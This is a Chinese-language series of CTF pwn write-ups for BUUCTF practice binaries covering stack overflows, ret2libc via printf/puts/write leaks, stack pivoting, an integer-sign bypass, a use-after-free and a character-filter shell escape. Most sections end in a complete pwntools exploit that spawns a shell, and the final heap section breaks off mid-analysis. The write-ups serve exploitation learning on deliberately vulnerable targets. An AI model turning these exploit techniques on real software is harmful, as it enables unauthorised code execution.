这题没啥难度 给了shell
直接溢出到ret起shell
确定偏移
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
gdb-peda$
exp
from pwn import *
p=process('./level0')
payload="a"*136+p64(0x400596)
p.sendline(payload)
p.interactive()
[HarekazeCTF2019]baby_rop2
在无put write时利用printf 泄漏地址
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec babyrop2
[*] '/home/ios/APwn/buuctf/babyrop2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
v3 = read(0, buf, 0x100uLL);
v6 = v3;
buf[v3 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}
很直观buf会被溢出
基本思路 leak 函数地址 计算偏移 getshell
题目没用write puts用了printf 所以我们就来利用printf 来leak函数地址
思路
首页printf如何输出地址?
printf(&read)或者printf("格式化字符串",&read)
需要构造成这样
这里的格式化可以通过题目中有的或者find得到去构造
64位参数传递需要通过寄存器
从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递
这里我们第一个参数 fmtstr 通过find 字符串格式化
gdb-peda$ find %s
Searching for '%s' in: None ranges
Found 292 results, display max 256 items:
babyrop2 : 0x400790 --> 0xa217325 ('%s!\n')
babyrop2 : 0x600790 --> 0xa217325 ('%s!\n')
libc : 0x7ffff7a38860 (<_nl_find_locale+768>: and eax,0x397373)
libc : 0x7ffff7b3d6a7 (<_openchild+23>: and eax,0x85fffc73)
libc : 0x7ffff7b9964a --> 0x72740a000a0a7325 ('%s\n\n')
libc : 0x7ffff7b99666 --> 0x617473000a0a7325 ('%s\n\n')
libc : 0x7ffff7b99d93 ("%s%s%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d95 ("%s%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d97 ("%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d99 ("%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d9b ("%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d9d ("%s%s%s%s%s\n")
libc : 0x7ffff7b99d9f ("%s%s%s%s\n")
libc : 0x7ffff7b99da1 --> 0xa732573257325 ('%s%s%s\n')
libc : 0x7ffff7b99da3 --> 0x4e49000a73257325 ('%s%s\n')
libc : 0x7ffff7b99da5 --> 0x4f464e49000a7325 ('%s\n')
libc : 0x7ffff7b99e44 ("%s%sUnknown signal %d\n")
libc : 0x7ffff7b99e46 ("%sUnknown signal %d\n")
libc : 0x7ffff7b99f0c ("%s%ssignal %d\n")
libc : 0x7ffff7b99f0e ("%ssignal %d\n")
libc : 0x7ffff7b99f4d --> 0x5d70255b00207325 ('%s ')
libc : 0x7ffff7b99f6f --> 0x6375530028207325 ('%s (')
libc : 0x7ffff7b9af41 ("%s%s%s[%p] ")
libc : 0x7ffff7b9af43 ("%s%s[%p] ")
--More--(25/257)
发现程序中存在%s 那我们就利用%s获取
接着需要传入格式化的值通过顺位第二个寄存器rsi存入read_got
接着ret到printf_plt即可完成泄漏
后续就是计算system与binsh addr getshell
exp
from pwn import *
context.log_level = 'debug'
p=process('./babyrop2')
elf=ELF('babyrop2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_plt=elf.sym['printf']
read_got=elf.got['read']
pop_rdi=0x0000000000400733# : pop rdi ; ret
pop_rsi=0x0000000000400731# : pop rsi ; pop r15 ; ret
fmt=0x400790
main=0x400636
payload="a"*0x20+'b'*8+p64(pop_rdi)+p64(fmt)+p64(pop_rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
p.sendline(payload)
read=u64(p.recv()[-26:-20].ljust(8,'\x00'))
print hex(read)
system=read-libc.sym['read']+libc.sym['system']
sh=read-libc.sym['read']+next(libc.search('/bin/sh'))
print hex(sh)
payload1="a"*0x20+'b'*8+p64(pop_rdi)+p64(sh)+p64(system)
p.sendline(payload1)
p.interactive()
jarvisoj_level2
这题不多说了 之前也是做过的 直接getshell就好
exp
from pwn import *
p=process('level2')
system=0x8048320
sh=0x804A024
payload='a'*0x88+'b'*4+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()
ciscn_2019_n_5
基本栈溢出 ret_shellcode
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_n_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_n_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ios@ubuntu:~/APwn/buuctf$
保护全关
exp
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#p=process('./ciscn_2019_n_5')
p=remote('node3.buuoj.cn',25965)
sh=asm(shellcraft.amd64.sh())
p.sendline(sh)
p.recvuntil('What do you want to say to me?')
payload='a'*(0x20+0x8)+p64(0x601080)
p.sendline(payload)
p.interactive()
[BJDCTF 2nd]r2t3
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec r2t3
[*] '/home/ios/APwn/buuctf/r2t3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
read 读入0x400大小的字符串放入buf中 且此处不存在溢出
调用函数 name_check(&buf);
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}
对输入的s 检测长度存存入v3 (这里strlen存在两个问题 1.可以通过\x00 截断控制长度 2.在32位中寄存器可存放长度为255,如果我们输入字符串长度为256 则寄存器会溢出 得到的字符串长为1)
EAX为实际长度,EDX为此时strlen返回的值也就是v3
继续向下
strcpy(&dest, s);
strcpy 会复制s中的字符串(直到读到\x00停止)到dest中 ,所以这道题目不能使用\x00绕过,而应该采取第二种溢出strlen的返回值即可
可以看到 如果我们发送的字符串长度为0x104(260)则溢出后的v3=EDX=0x4 满足判断条件>=3 <8
题目中给了binsh 以及system地址 因为system没有在程序中调用过 我们还需要从plt开始完成调用
exp
from pwn import *
context.log_level='debug'
p=process('./r2t3')
binsh=0x8048760
system=0x8048430
print len(p32(binsh))
p.recvuntil('name')
gdb.attach(p)
#payload=
payload="a"*0x11+"bbbb"+p32(system)+p32(0x1553155)+p32(binsh)
payload+="v"*(260-len(payload))
p.send(payload)
p.interactive()
bjdctf_2020_babystack
简单溢出
exp
from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babystack')
p=remote('node3.buuoj.cn',25988)
p.recvuntil('name')
p.sendline(str(100))
p.recvuntil('name')
payload="a"*24+p64(0x4006E6)
p.sendline(payload)
p.interactive()
ciscn_2019_ne_5
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_ne_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_ne_5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$
ida分析
题目需要先输入 密码然后返回菜单
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
addlog函数读入字符串 长度为128,a1为src
int __cdecl Display(char *s)
{
return puts(s);
}
puts打印我们刚输入的字符串
int Print()
{
return system("echo Printing......");
}
print给了system ,我们可以考虑利用这里的system参数sh或者bin/sh参数getshell
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h]
char v3; // [esp+4h] [ebp-44h]
*(_DWORD *)dest = 0x30;
memset(&v3, 0, 0x3Cu);
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
strcpy 存在溢出 覆盖0x48+0x4即可到ret(这里要注意strcpy的性质简单\x00就截断,所以如果构造调试发现没有溢出 问题就出在这里!)
刚开始我认为这道题目需要ret2libc 然后getshell,但是调试发现binsh地址被截断无法溢出
gdb find sh 发现存在sh 所以可以考虑溢出跳转到print函数调用system前 push edx后 getshell
我们用fflush中的sh来进行getshell
exp
from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',26812)
elf=ELF('ciscn_2019_ne_5')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
main=0x8048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('1')
payload='a'*76+p32(0x80486B7)+p32(0x80482ea)
p.sendline(payload)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('2')
#gdb.attach(p)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('4')
p.interactive()
pwn2_sctf_2016
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ida分析
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}
v2存在问题
这里会有有符号和无符号数的转化 ,如果传入负数会进行负数到正数的转化导致:v2=-1 (绕过if判断) 然后再get_n中 v2被定义成了无符号 整型出现v2=4294967295
unsigned int __cdecl get_n(int input, unsigned int size) //这里的size就是传入的v2
{
unsigned int v2; // eax
unsigned int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
这样的转换会使v2从负数变为正数4294967295 从而导致溢出nptr
然后就可以常规ret2libc就能getshell了
exp
from pwn import *
context.log_level='debug'
#p=process('./pwn2_sctf_2016')
p=remote('node3.buuoj.cn',26491)
elf=ELF('pwn2_sctf_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
printl_plt=elf.sym['printf']
printl_got=elf.got['printf']
p.recvuntil('?')
p.sendline('-1')
#gdb.attach(p)
p.recvuntil('!')
payload="a"*0x30+p32(printl_plt)+p32(0x80485B8)+p32(printl_got)+p32(0x8048702)
p.sendline(payload)
p.recvuntil("\x0a")
p.recvuntil("\x0a")
printf=u32(p.recv(4))
print hex(printf)
base=printf-0x049020
system=base+0x03a940
binsh=base+0x15902b
p.recvuntil('?')
p.sendline('-1')
p.recvuntil('!')
payload="a"*0x30+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
铁人三项(第五赛区)_2018_rop
检查保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}
int be_nice_to_people()
{
__gid_t v0; // ST1C_4
v0 = getegid();
return setresgid(v0, v0, v0);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
获取当前运行程序的id 如果是root则为0
修改程序权限为当前运行权限
ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]
return read(0, &buf, 0x100u);
}
存在溢出
可以利用write leak libc
主要write函数的参数以及堆栈排布
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
所以对应构造堆栈排布即可leak
exp
from pwn import *
context.log_level='debug'
#p=process('./2018_rop')
p=remote('node3.buuoj.cn',28487)
libc=ELF('libc/18/x86-libc-2.27.so')
elf=ELF('2018_rop')
write=elf.sym['write']
read=elf.got['read']
#gdb.attach(p)
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
p.sendline(payload)
read=u32(p.recv())
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload="a"*0x8c+p32(system)+p32(0x15553)+p32(binsh)
p.sendline(payload)
p.interactive()
ez_pz_hackover_2016
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ez_pz_hackover_2016
[*] '/home/ios/APwn/buuctf/ez_pz_hackover_2016'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
ida分析
int chall()
{
size_t v0; // eax
int result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 0xA, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}
memchr函数用于取\n(0xa)之前的数据,该函数返回一个指向匹配字节的指针,如果在给定的内存区域未出现字符,则返回 NULL。
然后看到strcmp函数 需要满足出现crashme才可以触发vuln函数,这里用到\x00进行截断 strcmp只会比较\x00之前的数据,所以可以在\x00后面来布置rop
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]
return memcpy(&dest, &src, n);
}
就进行了一个复制 大小为0x400 但是dest不可能存放这么多数据 所以会产生溢出,溢出可以通过gdb调试获得
leak fgets接着构造rop进行getshell即可
exp
from pwn import *
context.log_level='debug'
context.arch='i386'
p=process('./ez_pz_hackover_2016')
elf=ELF('ez_pz_hackover_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
fmt=0x804884e
printf=elf.sym['printf']
fgets=elf.got['fgets']
#gdb.attach(p)
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(printf)+p32(0x80486E2)+p32(fmt)+p32(fgets)
p.sendline(payload)
p.recvuntil('Welcome')
fget=u32(p.recvuntil('\xf7')[-4:])
print hex(fget)
base=fget-libc.sym['fgets']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()
bjdctf_2020_babyrop
简单rop
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
read存在溢出,给了puts函数 可以leak puts=>getshell
exp
from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babyrop')
p=remote('node3.buuoj.cn',28711)
elf=ELF('bjdctf_2020_babyrop')
libc=ELF('libc/16/x64-libc-2.23.so')
#gdb.attach(p)
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400733# : pop rdi ; ret
payload="a"*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
p.recvuntil('!')
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('!')
payload="a"*40+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
ciscn_2019_es_2
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_es_2
[*] '/home/ios/APwn/buuctf/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
32位有puts 考虑可能需要leak puts
int vul()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}
read存在问题 读入0x30 可以溢出(8字节) 4字节ebp、4字节ret
虽然题目给了system(“echo flag”) 但是远程环境并没有echo这个参数 所以考虑栈迁移
调试可以测试出我们读入的s的栈地址 ,第一次溢出用于leak 栈地址+返回main函数。第二次溢出构造栈迁移到s_stack地址(leak出的地址是我们输入的地址 所以第二次溢出的数据可以构造rop)
构造 leak puts+1次read读入 返回system 起shell
exp
from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
read_plt=elf.sym['read']
leave_ret=0x080484b8# : leave ; ret
#p=remote('node3.buuoj.cn',25556)
payload='bbbb'+'a'*0x28+p32(0x80485FF)
gdb.attach(p)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\xf7')
stack=u32(p.recv(4))-0x60 //这里的stack可以自行gdb调试一下
print hex(stack)
payload='cccc'+'c'*0x1c
p.send(payload)
p.recvuntil('Hello')
payload='d'*0x30+p32(stack)+p32(puts_plt+4)+p32(read_plt)+p32(puts_got)+p32(0)+p32(stack+4)+p32(0x10)+p32(0x1553155)
payload+='f'*(0x58-len(payload))+p32(stack)+p32(leave_ret)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\x0a')
p.recvuntil('\x0a')
puts=u32(p.recv(4))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload=p32(system)+p32(0x1553155)+p32(binsh)
p.send(payload)
p.interactive()
遇到问题
本地测试成功getshell 不知道为啥远程还是有问题
后面发现自己做的复杂了2333
[BJDCTF 2nd]test
题目很有意思
给定ssh
直接读取flag是没有权限的,需要通过test来进行读取
ctf@a9a029a6e619:~$ ls -l
total 20
-rw-r----- 1 root ctf_pwn 43 Aug 4 12:36 flag
-r-xr-sr-x 1 root ctf_pwn 8920 Mar 18 05:46 test
-rw-r--r-- 1 root ctf_pwn 812 Mar 18 05:46 test.c
ctf@a9a029a6e619:~$
cat test.c 可以看代码
ctf@a9a029a6e619:~$ cat test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
一个c_shell 并进行了过滤 我们可以通过下列命令进行查找过滤后可以使用的命令(去掉含这些字符的命令)
ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
ctf@a9a029a6e619:~$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
dd
kmod
mt
mv
rm
2to3
2to3-2.7
2to3-3.4
[
comm
od
tr
tty
w
wc
x86_64
xxd
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
mt 命令用来控制磁带驱动器的操作,比如查看状态或查找磁带上的文件或写入磁带控制标记
tr 命令用于转换或删除文件中的字符。
x86_64 当前执行域仅影响uname -m的输出。例如,在AMD64系统上,运行setarch i386程序will.cause程序会将i686而不是x86_64视为计算机类型。 它还允许设置各种个性选项。 缺省程序是/ bin / sh。
这道题看了下wp,正常用od * 读取所有文件 开头的就是flag 这个没问题 有趣的事 x86_64命令 居然可以用来起shell
学到了2333
[Black Watch 入群题]PWN
ida分析
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf; // [esp+0h] [ebp-18h]
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, &buf, 32u);
}
4字节溢出 明显需要栈迁移 s在bss段 地址已知 我们通过 leave_ret跳转到bss执行rop
puts还未调用 所以可以用write泄露地址。本来这里我打算自己构造个read读system binsh,但是出现问题就利用了vul_function自己的read 通过read(0, &s, 0x200u);读入 控制ip getshell
exp
from pwn import *
context.log_level='debug'
#p=process('./spwn')
p=remote('node3.buuoj.cn',29689)
elf=ELF('spwn')
libc=ELF('libc/16/x86-libc-2.23.so')
write_plt=elf.sym['write']
write_got=elf.got['write']
read_plt=elf.sym['read']
bss=0x804A300
main=0x80483A0
leave_ret=0x08048408 #: leave ; ret
p.recvuntil('name?')
#gdb.attach(p)
payload1=p32(bss+4)+p32(write_plt)+p32(0x80484C7)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
p.recvuntil('say?')
payload='a'*24+p32(bss)+p32(leave_ret)
p.sendline(payload)
write=u32(p.recv(4))
print hex(write)
base=write-libc.sym['write']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*24+p32(bss)+p32(0x1553155)
p.sendline("test"+'aaaa'+p32(system)+p32(0x1553155)+p32(binsh))
p.interactive()
others_shellcode
emm 以为是利用m_protect改地址权限。原来直接给你shell了
push ebp
mov ebp, esp
call __x86_get_pc_thunk_ax
add eax, 1AA8h
xor edx, edx ; envp
push edx
push 'hs//'
push 'nib/'
mov ebx, esp ; file
push edx
push ebx
mov ecx, esp ; argv
mov eax, 0FFFFFFFFh
sub eax, 0FFFFFFF4h
int 80h ; LINUX - sys_execve
nop
pop ebp
retn
[BJDCTF 2nd]ydsneedgirlfriend2
ida分析
int menu()
{
puts(&byte_400E6F);
puts("1.add a girlfriend");
puts("2.dele a girlfriend");
puts("3.show a girlfriend");
puts("4.exit");
return puts("u choice :");
}
通过menu 进行函数逐个分析
unsigned __int64 add()
{
void **v0; // rbx
int nbytes; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( count > 7 )
{
puts("Full!");
exit(-1);
}
if ( !girlfriends )
{
girlfriends = malloc(0x10uLL);
if ( !girlfriends )
{
perror("malloc failed=");
exit(-1);
}
}
*(_QWORD *)(girlfriends + 8LL) = print_girlfriend_name;
puts("Please input the length of her name:");
read(0, buf, 8uLL);
nbytes = atoi(buf);
v0 = (void **)girlfriends;
*v0 = malloc(nbytes);
if ( !*girlfriends )
{
perror("name malloc failed=");
exit(-1);
}
puts("Please tell me her name:");
read(0, (void *)*girlfriends, (unsigned int)nbytes);
puts("what a beautiful name! Thank you on behalf of yds!");
++count;
return __readfsqword(0x28u) ^ v4;
}
首先知道count=7 (0-7) 也就是最多存8个,girlfriends 可以看为一个结构体 存在一个固定参数 girlfriends + 8LL = print_girlfriend_name;另外一个就是 每次输入的name了
所以可以新建一个结构体
这样分析就清晰明了很多
unsigned __int64 add()
{
void **v0; // rbx
int nbytes; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( count > 7 )
{
puts("Full!");
exit(-1);
}
#判断 girlfriends是否被创建 如果没有则创建(每次运行程序只会创建一次)
if ( !girlfriends )
{
girlfriends = (struct_girlfriends *)malloc(0x10uLL);
if ( !girlfriends )
{
perror("malloc failed=");
exit(-1);
}
}
#每次add()操作后都会将print_addr=print_girlfriend_name
girlfriends->print_addr = print_girlfriend_name;
puts("Please input the length of her name:");
read(0, buf, 8uLL);
nbytes = atoi(buf);
#对name_addr创建存储
v0 = &girlfriends->name_addr;
*v0 = malloc(nbytes);
if ( !girlfriends->name_addr )
{
perror("name malloc failed=");
exit(-1);
}
puts("Please tell me her name:");
#读入name_addr的内容
read(0, girlfriends->name_addr, (unsigned int)nbytes);
puts("what a beautiful name! Thank you on behalf of yds!");
++count;
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 dele()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriends + v1) )
{
#free掉当前索引(0)的 name_addr
free((*(&girlfriends + v1))->name_addr);
#free掉当前索引(0)
free(*(&girlfriends + v1));
#存在uaf漏洞 free掉girlfriends[0]之后并没有将该地址置为0
puts("Why are u so cruel!");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
漏洞分析
free后没有将该地址置为0,导致如果申请相同大小,注意这里free掉两个堆块 其中第一个只是name_addr的堆块并不是我们girlfriends堆块 ,girlfriends堆块0x10(0x8 size name_addr、0x8 size print_girlfriend_name)
这是add 0x30 size的name后的heap状态 ,可以看到 0x10的是我们的girlfriends 本来应该有两个指针一个放name_addr(因为free了name 所以这里的fd指向为0 如果不为0会指向第二个name堆块地址+0x10处,堆头0x10 size )
此时再bins可以看到free掉的两个堆块地址
如果我们申请大小0x10 会怎么样?
会把bins中的 0x10(0x20处)size的堆块分配出来,也就是我们会重新申请到girlfriends堆块,那我们在add时就能编辑他的内容 包括控制print_addr
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x1553155))
gdb.attach(p)
可以测试下
发现确实修改了 girlfriends并且。bk (原为print_addr)现在修改为了0x1553155
原在bins中的0x10大小的空闲堆块被申请了回去
题目给出backdoor函数我们修改print_addr为backdoor函数 接着调用print函数就可以成功getshell
exp
from pwn import *
p=process('./ydsneedgirlfriend2')
#p=remote('node3.buuoj.cn',26415)
def add(size,con):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('name:')
p.sendline(str(size))
p.recvuntil('name:')
p.sendline(con)
p.recvuntil('yds!')
def dele(idx):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('cruel!')
def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x400D86))
#gdb.attach(p)
show(0)
p.interactive()
babyfengshui_33c3_2016
32位堆溢出
ios@ubuntu:~/APwn/buuctf$ checksec babyfengshui_33c3_2016
[*] '/home/ios/APwn/buuctf/babyfengshui_33c3_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000
ida 分析
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delete(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
show(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
get_context(v2); #update
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)description_addr > 0x31u ) #检查添加了多少个description ,最多0x31个
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
_DWORD *__cdecl add(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(a1);
memset(s, 0, a1);
#同等于一次 calloc(a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
#同等于一次 calloc(0x80);
*v2 = s;
ptr[(unsigned __int8)description_addr] = v2;
printf("name: ");
fgets_con((char *)ptr[(unsigned __int8)description_addr] + 4, 0x7C);
get_context(++description_addr - 1);
return v2;
}
